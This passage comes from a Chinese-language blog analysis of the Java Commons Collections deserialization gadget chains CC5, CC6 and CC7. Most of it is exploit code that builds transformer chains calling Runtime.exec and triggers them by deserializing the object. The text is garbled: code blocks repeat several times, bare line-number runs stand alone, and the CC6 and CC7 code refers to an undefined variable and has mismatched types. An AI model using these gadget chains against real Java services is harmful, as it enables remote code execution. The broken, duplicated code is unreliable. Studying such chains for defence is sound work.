new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"pazuris");
// 通过反射改 val ,防止直接触发 toString 。
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("val");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
// serialize and unserialize
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
ois.readObject();
}
}


调用链展示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
```text
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

```text
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
```text
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()


Commons Collections 6

使用 HashMap 反序列化时候自动调用的 hashcode 方法来触发 getValue,HashMap可以,那 HashSet 肯定也可以,毕竟都要计算 hash 。但是有个问题,怎么防止 put 的时候会自动触发,有两种方法:

  • 在向 HashMap push LazyMap 时先给个空的 ChainedTransformer,这样添加的时候不会执行任何恶意动作,put 之后再反射将有恶意链的 Transformer 数组写到 ChainedTransformer 中。
  • 利用反射调用 putValue 方法来写入 key 避免触发

前置知识

HashSet

HashSet 本质上就是由 HashMap 实现的。在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。进而调用 key 的 hashcode 方法。

攻击构造

HashMap 的,HashSet 基本一样,换个名字,只用放 key 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
public class CC6 {

public static void main(String[] args) throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashMap = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashMap.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
// 反射调用 HashMap 的 putVal 方法

// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
// for (Method method : m) {
// if ("putVal".equals(method.getName())) {
// method.setAccessible(true);
// method.invoke(hashMap, -1, entry, 0, false, true);
// }
// }

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
}
}
```java
public class CC6 {

public static void main(String[] args) throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashMap = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashMap.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
// 反射调用 HashMap 的 putVal 方法

// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
// for (Method method : m) {
// if ("putVal".equals(method.getName())) {
// method.setAccessible(true);
// method.invoke(hashMap, -1, entry, 0, false, true);
// }
// }

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
}
}

```java
public class CC6 {

public static void main(String[] args) throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashMap = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashMap.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
// 反射调用 HashMap 的 putVal 方法

// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
// for (Method method : m) {
// if ("putVal".equals(method.getName())) {
// method.setAccessible(true);
// method.invoke(hashMap, -1, entry, 0, false, true);
// }
// }

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
}
}
```java
public class CC6 {

public static void main(String[] args) throws Exception {
// 初始化 HashMap
Hashtable<Object, Object> hashMap = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashMap.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();
// 反射调用 HashMap 的 putVal 方法

// Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
// for (Method method : m) {
// if ("putVal".equals(method.getName())) {
// method.setAccessible(true);
// method.invoke(hashMap, -1, entry, 0, false, true);
// }
// }

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc6.bin"));
ois.readObject();
}
}


由于使用了 jdk 自带的 HashMap 或 HashSet,对 java 版本没有要求,实为 CC 链系列最好用的,只要求 commons-collections : 3.1~3.2.1。

Commons Collections 7

前置知识

流程和 CC6 完全一样,只是从 HashMap 和 HashSet 转成了 Hashtable,此类反序列化的时候依然会使用 hashCode 方法,通过 reconstitutionPut 调用 key 的 hashCode 方法。

攻击构造

和 CC6 代码基本完全一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
public class CC7 {

public static void main(String[] args) throws Exception {
// 初始化 HashTable
Hashtable<Object, Object> hashtable = new Hashtable<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashtable.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
ois.readObject();
}
}
```java
public class CC7 {

public static void main(String[] args) throws Exception {
// 初始化 HashTable
Hashtable<Object, Object> hashtable = new Hashtable<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashtable.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
ois.readObject();
}
}

```java
public class CC7 {

public static void main(String[] args) throws Exception {
// 初始化 HashTable
Hashtable<Object, Object> hashtable = new Hashtable<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashtable.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
ois.readObject();
}
}
```java
public class CC7 {

public static void main(String[] args) throws Exception {
// 初始化 HashTable
Hashtable<Object, Object> hashtable = new Hashtable<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 创建一个空的 ChainedTransformer
ChainedTransformer fakeChain = new ChainedTransformer(new Transformer[]{});

// 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "Pazuris");

hashtable.put(entry, "Pazuris");

//用反射再改回真的chain
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(fakeChain, transformers);
//清空由于 hashtable.put 对 LazyMap 造成的影响
lazyMap.clear();

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(badAttributeValueExpException);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc7.bin"));
ois.readObject();
}
}


CC 链就分析到这里了,确实这次再分析感受深了很多,也深刻理解了何谓“排列组合”。接下来继续分析 ysoserial 里的链子,争取早日补完。

作者

Pazuris

发布于

2023-10-08

更新于

2024-12-23

许可协议

CC BY 4.0

评论